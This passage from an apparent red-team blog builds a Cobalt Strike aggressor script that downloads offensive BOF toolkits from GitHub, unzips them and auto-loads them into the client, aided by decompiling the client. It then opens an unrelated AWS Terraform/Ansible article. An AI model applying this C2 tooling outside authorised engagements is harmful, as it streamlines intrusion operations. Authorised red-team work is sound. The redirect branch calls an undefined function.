	$zis = [new java.util.zip.ZipInputStream: $fis];
	
	if ([$fis available] == 0) {
		println("Archive is empty. Aborting.");
		[$zis closeEntry];
		[$fis close];
		exit();
	}

	#Create and go to the destination directory
	createDir($destPathProper, "zip destination");
	chdir($destPathProper);
	
	# Write all zip contents to the directory
	$entry = [$zis getNextEntry];
	while ($entry) {
		# Check if $entry is an empty directory
		if ([$entry isDirectory]) {
			createDir(getFileProper($entry), "empty"); # Create empty directory
		}
		# Else $entry is a file
		else {
			$fullPath = getFileProper($destPathProper, $entry);
			createDir(getFileProper(getFileParent($entry)), "parent"); # Create the parent directory
			createFile($fullPath); # Create the file
			
			$zipHandle = [SleepUtils getIOHandle: $zis, $null];
			writeFile($zipHandle, $fullPath);
		}
		$entry = [$zis getNextEntry];
	}
	[$zis closeEntry];
	[$fis close];
	
	# Change directory back to initial
	chdir($currDir);
	println("> Files unzipped");
}
```

This brings us to version three of the script.

```perl
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.io.BufferedInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.File;
import java.net.URL;
import java.net.URLConnection;
import java.io.IOException;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
import java.security.KeyStore;

# ===== Global Variables =====
$saveFilePath = script_resource() . "/downloads"; # Location to store downloaded zips
$destPath = script_resource(); # Unzipped repositories destination folder is relative to this scripts location
# ============================

# ==== Git Repositories ====
# Name, repository ID, branch, [CNA script paths to load]
# Name => repository will be downloaded into this folder, the name has to match the path that is used to load the bofs! (see the modified cna script)
# URL to download zip from => GitLab repository ID
# Paths => relative path from root directory to the cna script to load

@repositories = @(
	@("CS-Situational-Awareness-BOF", "https://github.com/trustedsec/CS-Situational-Awareness-BOF/archive/refs/heads/master.zip", "CS-Situational-Awareness-BOF-master/SA/SA.cna"),
	@("CS-Remote-OPs-BOF", "https://github.com/trustedsec/CS-Remote-OPs-BOF/archive/refs/heads/main.zip", "CS-Remote-OPs-BOF-main/Remote/Remote.cna", "CS-Remote-OPs-BOF-main/Injection/Injection.cna"),
	# add other entries here as well
  );
# ============================

# ==== Functions ====
# Download all repository zip files one by one
sub loadArsenal {
	for($i = 0; $i < size(@repositories); $i++) {
		downloadRepo(@repositories[$i][1],@repositories[$i][0]);
		unzip(@repositories[$i][0], @repositories[$i][0]);
	}
}

# createDir($path, $type);
sub createDir {
	$path = $1;
	$type = $2;
	
	mkdir($path)
	if (checkError($error)) {
		warn("Unable to create $type directory: $error");
		$eMsg = "true";
	}
}

# createFile($path);
sub createFile {
	$path = $1;

	createNewFile($path);
	if (checkError($error)) {
		warn("Cannot create file $path: $error");
		$eMsg = "true";
	}
}

# writeFile($handle, $path);
sub writeFile {
	$handle = $1;
	$path = $2;

	$outFile = openf(">" . $path);
	writeb($outFile, readb($handle, -1));
	closef($outFile);
	if (checkError($error)) {
		warn("Error while writing to file: $error");
		$eMsg = "true";
	}
}

# Unzips the downloaded zipfile and puts the folder in the main project directory
# unzip($name, $folderName);
sub unzip {
	$zipFileName = $1 . ".zip";
	$folderName = $2;
	
	$zipFile = $saveFilePath . "/" . $zipFileName;
	$destPathProper = $destPath . "/" . $folderName;
	$currDir = cwd();

	# load and unzip zipfile
	$fis = [new java.io.FileInputStream: $zipFile];
	$zis = [new java.util.zip.ZipInputStream: $fis];
	
	if ([$fis available] == 0) {
		println("Archive is empty. Aborting.");
		[$zis closeEntry];
		[$fis close];
		exit();
	}

	#Create and go to the destination directory
	createDir($destPathProper, "zip destination");
	chdir($destPathProper);
	
	# Write all zip contents to the directory
	$entry = [$zis getNextEntry];
	while ($entry) {
		# Check if $entry is an empty directory
		if ([$entry isDirectory]) {
			createDir(getFileProper($entry), "empty"); # Create empty directory
		}
		# Else $entry is a file
		else {
			$fullPath = getFileProper($destPathProper, $entry);
			createDir(getFileProper(getFileParent($entry)), "parent"); # Create the parent directory
			createFile($fullPath); # Create the file
			
			$zipHandle = [SleepUtils getIOHandle: $zis, $null];
			writeFile($zipHandle, $fullPath);
		}
		$entry = [$zis getNextEntry];
	}
	[$zis closeEntry];
	[$fis close];
	
	# Change directory back to initial
	chdir($currDir);
	println("> Files unzipped");
}

# Download a single repository and write the contents to downloads/repositoryname.zip
sub downloadRepo {
	$downloadUrl = $1;
	$fileName = $2 . ".zip";
	
	# Create downloads dir if it does not exist
	if (!-exists $saveFilePath) {
		createDir($saveFilePath);
	}
	
	println("> Downloading " . $fileName . "...");
	println("\tDownload url: $downloadUrl");
	
	# Check if the zip file can be created
	$saveFilePathProper = $saveFilePath . "/" . $fileName;
	createFile($saveFilePathProper);
	
	# Obtain the content and write to file
	$handle = httpGet($downloadUrl);
	writeFile($handle, $saveFilePathProper);
}

# httpGet($url);
# Adapted from https://gist.github.com/mgeeky/2d7f8c2a6ffbfd23301e1e2de0312087
sub httpGet {
	$method = "GET";
	$url = $1;
	$n = 0;

	if(size(@_) == 2) { $n = $2; }

	$maxRedirectsAllowed = 10;
	if ($n > $maxRedirectsAllowed) {
		warn("Exceeded maximum number of redirects: $method $url ");
		return "";
	}

	$USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0";

	try {
		# When using private git server, load the truststore with the custom root CA or self-signed CA from the current directory
		$filepath = script_resource("truststore-public.jks");

		# The trust store file and optional password to unlock it
		$trustStoreFile = [new File: $filepath];
		$trustStorePassword = "changeit";

		# Load the trust store from file into an object, the type is "jks"
		$trustStore = [KeyStore getInstance: "JKS"];
		[$trustStore load: [new FileInputStream: $trustStoreFile], $trustStorePassword];

		# init TrustManagerFactory with truststore containing root CA
		$tmf = [TrustManagerFactory getInstance: [TrustManagerFactory getDefaultAlgorithm]];
		[$tmf init: $trustStore];

		# Set the SSLContext of the HTTP requests to ensure the root CA certificate is trusted
		$sslContext = [SSLContext getInstance: "TLS"];
		[$sslContext init: $null, [$tmf getTrustManagers], $null];
		[javax.net.ssl.HttpsURLConnection setDefaultSSLSocketFactory: [$sslContext getSocketFactory]];

		# Build the HTTP Request
		$urlobj = [new java.net.URL: $url];
		if (checkError($error)) {
			warn("1: $error");
		}
		$con = $null;
		$con = [$urlobj openConnection];
		[$con setRequestMethod: $method];
		[$con setInstanceFollowRedirects: true];
		[$con setRequestProperty: "Accept", "*/*"];
		[$con setRequestProperty: "Cache-Control", "max-age=0"];
		[$con setRequestProperty: "Connection", "keep-alive"];
		[$con setRequestProperty: "User-Agent", $USER_AGENT];		

		# Send the request and obtain the content
		$inputstream = [$con getInputStream];
		$handle = [SleepUtils getIOHandle: $inputstream, $null];

		$responseCode = [$con getResponseCode];

		# If a redirect is returned, try again with the redirect target (max 10 times)
		if (($responseCode >= 301) && ($responseCode <= 304)) {
			warn("Redirect");
			$loc = [$con getHeaderField: "Location"];
			httpRequest($loc, $n + 1);
		}


		# return the handle with the content
		return $handle;
	}
	catch $message {
		warn("HTTP Request failed: $method $url : $message ");
		printAll(getStackTrace());
		return "";
	}
}


# Create Cobalt Strike menu to download Arsenal
popup Arsenal {
	item("&Download", { loadArsenal() });
}
menubar("Arsenal", "Arsenal");
```

After loading and executing the new script, the script console indicates that files are successfully downloaded and unzipped.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FIcOGMz4isaFTZx5e7crR%2Fimage.png?alt=media&amp;token=a7d9c255-8e9f-4d97-98be-52b0f7e3c9f2" alt=""><figcaption><p>Successful download and unzip</p></figcaption></figure>

When checking our project folder, it seems to confirm this. Success!

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Ffp8SJiNwggPv2Ot1bNv8%2Fimage.png?alt=media&amp;token=b31e4610-3cc0-4a8e-b060-4f58d5e3f146" alt=""><figcaption><p>Successful download and unzip of both repositories</p></figcaption></figure>

## Challenge 3: Nested Aggressor Script Load

One of the major challenges we faced in our Cobalt Strike OffSecOps approach was that when loading our "master" script in the UI, included scripts do not show up and cannot be individually unloaded via the default Cobalt Strike functionality.

Another issue was that if script A in the main directory wants to include trustedsec `SA.cna` in the SA subdirectory, `SA.cna` would be loaded as if it was loaded from the main directory. This is because `SA.cna` also uses `script_resource()` to determine the relative path to the BOF object file, breaking the link. Consider the following example where a script `importer.cna` loads `importee.cna` from a subdirectory.

### importer.cna

```perl
# default Sleep way to load nested script
$cnaScriptPath = script_resource("subdirectory/importee.cna");
include($cnaScriptPath);
```

### importee.cna

```perl
println("Successfully imported importee!");
println(script_resource());
```

The `importer.cna` script can be loaded in Cobalt Strike.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FTc72SYgZE8xZXBYIRfmu%2Fimage.png?alt=media&amp;token=ce88a607-3b4d-4071-9351-6df08ece4b63" alt=""><figcaption><p>Successfully loaded importer.cna</p></figcaption></figure>

In the Script Console, it displays that the `importee.cna` script was successfully loaded from the subdirectory. Additionally, it displays the output of `script_resource()`, indicating that the `importee.cna` script uses `importer.cna`'s working directory.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FkZi83cE1tPjKl1BEVCb4%2Fimage.png?alt=media&amp;token=0b0f154a-1b37-43f7-b49d-ec64a4407619" alt=""><figcaption><p>importee.cna output after being loaded from importer.cna</p></figcaption></figure>

This means that BOFs and assets loaded by the importee, use the `script_resource()` value of the importer. Therefore, without modifications, it would break most existing scripts that load other resources. This is something we would like to avoid during our approach, so let's come up with a better approach.

### Decompiling Cobalt Strike

Luckily, Sleep can interact with Java and the Cobalt Strike client itself is written in Java. We will decompile the client to find an alternative, more native way to load agressor scripts, without relying on the default Sleep "include" function. Time to put those OSWE skills to work and analyse the Cobalt Strike client's source code!

First, let's extract the contents of the Cobalt Strike application. On MacOS, this can be done by right-clicking the application > Show Package Contents.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FwX2qCEr3fRHniCPdyRm9%2Fimage.png?alt=media&amp;token=9816a894-3483-4a5d-87c2-11cf781fc771" alt=""><figcaption><p>Viewing the Cobalt Strike MacOS app's contents</p></figcaption></figure>

Next, the files of Contents/Java can b​e copied to a new folder.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FiAqpBirnU9laSu8YBm3N%2Fimage.png?alt=media&amp;token=1be439f0-c119-43e3-8de2-3d3c5212ea96" alt=""><figcaption><p>Cobalt Strike Contents/Java folder files</p></figcaption></figure>

We are mainly interested in the cobaltstrike-client.jar, as this is the client-side application. Let's decompile it with [JD-GUI](http://java-decompiler.github.io). Download the JD-GUI jar from this website and run it.

```bash
java -jar jd-gui-1.6.6.jar
```

Drag the cobaltstrike-client.jar file into the window. You now successfully decompiled the application. Congratulations.

### Find The Loader

Now it's a matter of finding the correct class. We can try looking for keywords to find the functionality. For example, when pressing the "Reload" button in the script manager, the UI displays a popup with "Reloaded /path/to/script.cna" in the message.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FBD4PHzw1WMi6CqsyGIMW%2Fimage.png?alt=media&amp;token=7ea8b589-60a9-4459-94a0-7683065e5713" alt=""><figcaption><p>Reloading importer.cna displays "Reloaded /path/to/script.cna"</p></figcaption></figure>

if we search for this string in JD-GUi, we only get one result, which is related to the ScriptManager class. Awesome!

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FRLzHVN4nHZ1ItgibKvAl%2Fimage.png?alt=media&amp;token=cdc2ebfb-a398-4db9-bfde-bd6ef31eb486" alt=""><figcaption><p>The only result is in the ScriptManager.class file</p></figcaption></figure>

After navigating to the aggressor > windows > ScriptManager.class file, we can observe that before displaying the Dialog, the code simply unloads the selected script and calls the `this.client.getScriptEngine().loadScript(str)` method to reload it. We already know that `str` is the path to the aggressor script from the popup output.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FhuXFxTND7oBj2E9ic1QI%2Fimage.png?alt=media&amp;token=f7ff0b97-acaa-4056-b48a-d84052ef7e1e" alt=""><figcaption><p>this.client.getScriptEngine().loadScript(str) in ScriptManager.class</p></figcaption></figure>

Interesting. The next thing on the list is to find out what `this.client` is. It seems to be an `AggressorClient` object if we double-click it in JD-GUI. ​

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FtCCzrv7RVFdB7jMbSQQF%2Fimage.png?alt=media&amp;token=b98040f4-0217-44a5-abb4-97e6ba3d935b" alt=""><figcaption><p>this.client is an object of the AggressorClient class</p></figcaption></figure>

### Implement Loader In Sleep

Somewhere in the Cobalt Strike documentation the [getAggressorClient()](#https-hstechdocs.helpsystems.com-manuals-cobaltstrike-current-userguide-content-topics_aggressor-scr) function is already described as a way to obtain an `AggressorClient` object. Could this be easier than first thought?

```perl
$client = getAggressorClient();
```

&#x20;Let's adapt the importer.cna script to try to load importee.cna via this method.

```perl
# Cobalt Strike-native way of loading a script
$cnaScriptPath = script_resource("subdirectory/importee.cna");

# https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#getAggressorClient
$client = getAggressorClient();
[[$client getScriptEngine] loadScript: $cnaScriptPath];
```

After reloading `importer.cna`, we achieve partial success. The path of the imported script is now the subdirectory hosting the importee script, which means that we already fixed the context problem!

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FmPduQ64cKI7yhARMOYJL%2Fimage.png?alt=media&amp;token=3cfc2551-d42a-43c6-b668-a7556099d0d5" alt=""><figcaption><p>Successfully loaded the importee.cna script in the context of the subdirectory</p></figcaption></figure>

However, sometimes it would be great if we could also unload individual scripts that were loaded in this way. This is currently not supported, as can be observed in the script manager UI. The importee.cna script is not visible. Let's #TryHarder.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FHqfcYnTPanXvNdXblXpG%2Fimage.png?alt=media&amp;token=4a4dc71f-787e-487b-8887-67fbe710c22d" alt=""><figcaption><p>Importee.cna does not show as loaded in the UI</p></figcaption></figure>

### Locate Script Settings

So how does Cobalt Strike save which scripts are loaded? The answer lies within a code piece of the Script Manager right before the discovered loadScript functionality.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FGS1E9pcefUDDikMC7gny%2Fimage.png?alt=media&amp;token=7a687967-ad7c-4338-8ca2-7c4b02e6ac00" alt=""><figcaption><p>Paths to loaded scripts are stored in cortana.scripts</p></figcaption></figure>

It seems that it keeps track of the loaded `cortana.scripts` linked list via the `Prefs` object. When a new script is loaded (`add()`) or removed (`remove()`) via the UI, the `cortana.scripts` preference is updated and saved. But were is it stored? We can find this in the `Prefs` class itself.

The `.aggressor.prop` file in the user's home directory is the location where Cobalt Strike-related settings are saved.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FFiTV3OBlTFu52dQ5KuUD%2Fimage.png?alt=media&amp;token=2a8c4126-8311-465a-bb71-c5ab0f765282" alt=""><figcaption><p>The Prefs class indicates .aggressor.prop in the user's home directory as settings file</p></figcaption></figure>

In the configuration file, we can indeed find the `cortana.scripts` entry with only the loaded `importer.cna` script. This also means that the script load of importee.cna will not persist when the Cobalt Strike client is restarted.

```bash
cat ~/.aggressor.prop
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FdbyMezBkoAPsD1mdouIj%2Fimage.png?alt=media&amp;token=d03b28a0-6ba0-4046-91ea-8d552bae9851" alt=""><figcaption><p>importer.cna is the only saved script</p></figcaption></figure>

### Save (Scripts) Yourself

Of course, we could try to parse the config file in sleep and update the entry manually to include the `importee.cna` aggressor script. However, we can also use Cobalt Strike's native way of doing this via the Sleep-Java interoperability. The following implementation achieves this.

```perl
import aggressor.Prefs;
import java.util.LinkedList;

# Iterate the config list of loaded scripts
# If a script is already present, it should not be loaded for a second time
sub checkUnique
{
	$unique = 1;
	for ($i = 0; $i < [$1 size]; $i++)
	{
		if([$1 get: $i] eq $2)
		{
			$unique = 0;
		}
	}
	return $unique;
}

# betterLoadScript($pathtoscript);
sub betterLoadScript
{
	# Load prefs
	$scriptpath = $1; # Full path to script as arg, e.g.
	$list = [[Prefs getPreferences] getList: "cortana.scripts"];
	$result = checkUnique($list, $scriptpath);

	# Only add if it was not yet in the list
	# Avoids loading scripts twice
	if($result == 1)
	{
		[$list add: $scriptpath];
		[[Prefs getPreferences] setList: "cortana.scripts", $list];
		[[Prefs getPreferences] save];

		# Actually Loading the script
		# https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#getAggressorClient
		$client = getAggressorClient();
		[[$client getScriptEngine] loadScript: $scriptpath];

		# No need to call refresh, since it will be called once the main script's execution finished
		# and all subscripts are loaded before this
	}
}

$cnaScriptPath = script_resource("subdirectory/importee.cna");
betterLoadScript($cnaScriptPath);
```

Updating `importer.cna` with this code and reloading the script automagically loads `import.cna` from the appropriate directory. The script was updated to also include a built-in routine to avoid loading the same script twice and writing it to the configuration.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FJu1v3BYmIhjpRC6FlRRh%2Fimage.png?alt=media&amp;token=c39234db-9126-47c0-b583-fbaada3ea33d" alt=""><figcaption><p>Successfully imported importee.cna and displayed it in the UI</p></figcaption></figure>

## Bringing Everything Together

Now it is simply a matter of including our betterLoadScript functionality in the OffSecOps Arsenal script to automatically load our scripts. We also added `openScriptManager();` to conveniently open a new Script Manager console to show the operator that all script are loaded and visible in the UI.

```perl
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.io.BufferedInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.File;
import java.net.URL;
import java.net.URLConnection;
import java.io.IOException;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
import java.security.KeyStore;
import aggressor.Prefs;
import java.util.LinkedList;

# ===== Global Variables =====
$saveFilePath = script_resource() . "/downloads"; # Location to store downloaded zips
$destPath = script_resource(); # Unzipped repositories destination folder is relative to this scripts location
# ============================

# ==== Git Repositories ====
# Name, repository ID, branch, [CNA script paths to load]
# Name => repository will be downloaded into this folder, the name has to match the path that is used to load the bofs! (see the modified cna script)
# URL to download zip from => GitLab repository ID
# Paths => relative path from root directory to the cna script to load

@repositories = @(
	@("CS-Situational-Awareness-BOF", "https://github.com/trustedsec/CS-Situational-Awareness-BOF/archive/refs/heads/master.zip", "CS-Situational-Awareness-BOF-master/SA/SA.cna"),
	@("CS-Remote-OPs-BOF", "https://github.com/trustedsec/CS-Remote-OPs-BOF/archive/refs/heads/main.zip", "CS-Remote-OPs-BOF-main/Remote/Remote.cna", "CS-Remote-OPs-BOF-main/Injection/Injection.cna"),
	# add other entries here as well
  );
# ============================

# ==== Functions ====
# Download all repository zip files one by one
sub loadArsenal {
	for($i = 0; $i < size(@repositories); $i++) {
		$name = @repositories[$i][0];
		$url = @repositories[$i][1];
		$size = size(@repositories[$i]);
		
		downloadRepo($url, $name);
		unzip($name, $name); # need to find out if and why this errors

		if ($size <= 2) {
				println("No scripts to load");
		}
		else {
			for ($y = 2; $y < $size; $y++) {
				$cnaScriptPath = script_resource($name . "/" . @repositories[$i][$y]);
				println($cnaScriptPath);
				betterLoadScript($cnaScriptPath);
			}
			println("> Scripts loaded.");
		}
	println("> Completed " . $name);
	}

	# Open the script manager again since we don't know how to call refresh() from this script
	# Shows all scripts are loaded
	openScriptManager();
}

# createFile($path);
sub createFile {
	$path = $1;

	createNewFile($path);
	if (checkError($error)) {
		warn("Cannot create file $path: $error");
		$eMsg = "true";
	}
}

# writeFile($handle, $path);
sub writeFile {
	$handle = $1;
	$path = $2;

	$outFile = openf(">" . $path);
	writeb($outFile, readb($handle, -1));
	closef($outFile);
	if (checkError($error)) {
		warn("Error while writing to file: $error");
		$eMsg = "true";
	}
}

# createDir($path, $type);
sub createDir {
	$path = $1;
	$type = $2;
	
	mkdir($path)
	if (checkError($error)) {
		warn("Unable to create $type directory: $error");
		$eMsg = "true";
	}
}

# Unzips the downloaded zipfile and puts the folder in the main project directory
# unzip($name, $folderName);
sub unzip {
	$zipFileName = $1 . ".zip";
	$folderName = $2;
	
	$zipFile = $saveFilePath . "/" . $zipFileName;
	$destPathProper = $destPath . "/" . $folderName;
	$currDir = cwd();

	# load and unzip zipfile
	$fis = [new java.io.FileInputStream: $zipFile];
	$zis = [new java.util.zip.ZipInputStream: $fis];
	
	if ([$fis available] == 0) {
		println("Archive is empty. Aborting.");
		[$zis closeEntry];
		[$fis close];
		exit();
	}

	#Create and go to the destination directory
	createDir($destPathProper, "zip destination");
	chdir($destPathProper);
	
	# Write all zip contents to the directory
	$entry = [$zis getNextEntry];
	while ($entry) {
		# Check if $entry is an empty directory
		if ([$entry isDirectory]) {
			createDir(getFileProper($entry), "empty"); # Create empty directory
		}
		# Else $entry is a file
		else {
			$fullPath = getFileProper($destPathProper, $entry);
			createDir(getFileProper(getFileParent($entry)), "parent"); # Create the parent directory
			createFile($fullPath); # Create the file
			
			$zipHandle = [SleepUtils getIOHandle: $zis, $null];
			writeFile($zipHandle, $fullPath);
		}
		$entry = [$zis getNextEntry];
	}
	[$zis closeEntry];
	[$fis close];
	
	# Change directory back to initial
	chdir($currDir);
	println("> Files unzipped");
}

# Download a single repository and write the contents to downloads/repositoryname.zip
sub downloadRepo {
	$downloadUrl = $1;
	$fileName = $2 . ".zip";
	
	# Create downloads dir if it does not exist
	if (!-exists $saveFilePath) {
		createDir($saveFilePath);
	}
	
	println("> Downloading " . $fileName . "...");
	println("\tDownload url: $downloadUrl");
	
	# Check if the zip file can be created
	$saveFilePathProper = $saveFilePath . "/" . $fileName;
	createFile($saveFilePathProper);
	
	# Obtain the content and write to file
	$handle = httpGet($downloadUrl);
	writeFile($handle, $saveFilePathProper);
}

# httpGet($url);
# Adapted from https://gist.github.com/mgeeky/2d7f8c2a6ffbfd23301e1e2de0312087
sub httpGet {
	$method = "GET";
	$url = $1;
	$n = 0;

	if(size(@_) == 2) { $n = $2; }

	$maxRedirectsAllowed = 10;
	if ($n > $maxRedirectsAllowed) {
		warn("Exceeded maximum number of redirects: $method $url ");
		return "";
	}

	$USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0";

	try {
		# When using private git server, load the truststore with the custom root CA or self-signed CA from the current directory
		$filepath = script_resource("truststore-public.jks");

		# The trust store file and optional password to unlock it
		$trustStoreFile = [new File: $filepath];
		$trustStorePassword = "changeit";

		# Load the trust store from file into an object, the type is "jks"
		$trustStore = [KeyStore getInstance: "JKS"];
		[$trustStore load: [new FileInputStream: $trustStoreFile], $trustStorePassword];

		# init TrustManagerFactory with truststore containing root CA
		$tmf = [TrustManagerFactory getInstance: [TrustManagerFactory getDefaultAlgorithm]];
		[$tmf init: $trustStore];

		# Set the SSLContext of the HTTP requests to ensure the root CA certificate is trusted
		$sslContext = [SSLContext getInstance: "TLS"];
		[$sslContext init: $null, [$tmf getTrustManagers], $null];
		[javax.net.ssl.HttpsURLConnection setDefaultSSLSocketFactory: [$sslContext getSocketFactory]];

		# Build the HTTP Request
		$urlobj = [new java.net.URL: $url];
		if (checkError($error)) {
			warn("1: $error");
		}
		$con = $null;
		$con = [$urlobj openConnection];
		[$con setRequestMethod: $method];
		[$con setInstanceFollowRedirects: true];
		[$con setRequestProperty: "Accept", "*/*"];
		[$con setRequestProperty: "Cache-Control", "max-age=0"];
		[$con setRequestProperty: "Connection", "keep-alive"];
		[$con setRequestProperty: "User-Agent", $USER_AGENT];		

		# Send the request and obtain the content
		$inputstream = [$con getInputStream];
		$handle = [SleepUtils getIOHandle: $inputstream, $null];

		$responseCode = [$con getResponseCode];

		# If a redirect is returned, try again with the redirect target (max 10 times)
		if (($responseCode >= 301) && ($responseCode <= 304)) {
			warn("Redirect");
			$loc = [$con getHeaderField: "Location"];
			httpRequest($loc, $n + 1);
		}


		# return the handle with the content
		return $handle;
	}
	catch $message {
		warn("HTTP Request failed: $method $url : $message ");
		printAll(getStackTrace());
		return "";
	}
}

# Iterate the config list of loaded scripts
# If a script is already present, it should not be loaded for a second time
sub checkUnique
{
	$unique = 1;
	for ($z = 0; $z < [$1 size]; $z++)
	{
		if([$1 get: $z] eq $2)
		{
			$unique = 0;
		}
	}
	return $unique;
}

# betterLoadScript($pathtoscript);
sub betterLoadScript
{
	# Load prefs
	$scriptpath = $1; # Full path to script as arg, e.g.
	$list = [[Prefs getPreferences] getList: "cortana.scripts"];
	$result = checkUnique($list, $scriptpath);

	# Only add if it was not yet in the list
	# Avoids loading scripts twice
	if($result == 1)
	{
		# Save the script to the cortana.scripts list
		[$list add: $scriptpath];
		[[Prefs getPreferences] setList: "cortana.scripts", $list];
		[[Prefs getPreferences] save];

		# Actually Loading the script
		# https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#getAggressorClient
		$client = getAggressorClient();
		[[$client getScriptEngine] loadScript: $scriptpath];


		println("\tLoaded $scriptpath");
	}
}

# Create Cobalt Strike menu to download Arsenal
popup Arsenal {
	item("&Download", { loadArsenal() });
}
menubar("Arsenal", "Arsenal");
```

Again, we follow the procedure to download and load the repositories via the Download button of the "Arsenal" menu in the UI.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FD6zuIYbVcJOgW4TFPXwp%2Fimage.png?alt=media&amp;token=7d67b821-c98f-4ff6-831b-24a0a52998ff" alt=""><figcaption><p>Initiate Arsenal download</p></figcaption></figure>

The console prints output that indicates successful download, unzip and cna script load.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FvfirDbn1YnLjq1tTEkaG%2Fimage.png?alt=media&amp;token=9c991265-5a25-4aa5-827d-9176e31e5e62" alt=""><figcaption><p>Successful Arsenal load</p></figcaption></figure>

Finally, a new Script Manager window opens, showing the scripts were successfully loaded!

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FBhm3kOrUWTYSefbB7Fmq%2Fimage.png?alt=media&amp;token=05f6073b-64f6-47e8-86c6-3cb72ab5b44b" alt=""><figcaption><p>New Script Manager window confirming the script loads</p></figcaption></figure>

## Conclusion

In this article, we showen how to build a Cobalt Strike aggressor script to effectively load other scripts from a remote source. The approach integrates well with DevOps and can ensure that all red team operators in the team have a secure way of downloading and keeping tools in sync with the latest builds.

## Potential improvements

The approach can be tailored to your red team needs. The following are some ideas for further improvement, some of which are implemented in DXC Strikeforce's internal version:

* Private Gitlab integration with custom pipelines, root CA and access control;
* Automatically or on-demand trigger new Arsenal builds with custom obfuscation from inside Cobalt Strike;
* Download latest tool releases based on tags instead of just the repositories;
* ...


# AWS


# Connectionless Ansible Deployment with Terraform via SSM

Deploying Ansible playbooks & roles to EC2 instances via Terraform from anywhere without interruption and without accessing SSH.

## TL;DR

GitHub repository with poc [here](https://github.com/0xbad53c/Connectionless-Ansible-Deployment-with-Terraform-on-AWS).

## Introduction

While this blog usually focuses on Red Team topics, I believe that this approach could benefit anyone using [Terraform](https://www.terraform.io) and [Ansible](https://www.ansible.com) to deploy infrastructure on [AWS](https://aws.amazon.com).

Red Team Operations often require us to spin up and destroy infrastructure on the fly. Doing this manually for every operation would be a time-intensive task, prone to error. Therefore, our team attempts to automate as much as possible using Infrastructure as Code tools like Terraform (deploy infra) and Ansible (configure infra).  Projects like [Red Baron](https://github.com/Coalfire-Research/Red-Baron), give us great examples on how to achieve this. This results in several benefits:

* Consistency and reliability: Anyone can deploy complex infrastructure components in the same way.
* Version control: If mistakes happen, we can issue a new version of our Terraform script/Ansible playbook and all future deployments will benefit.
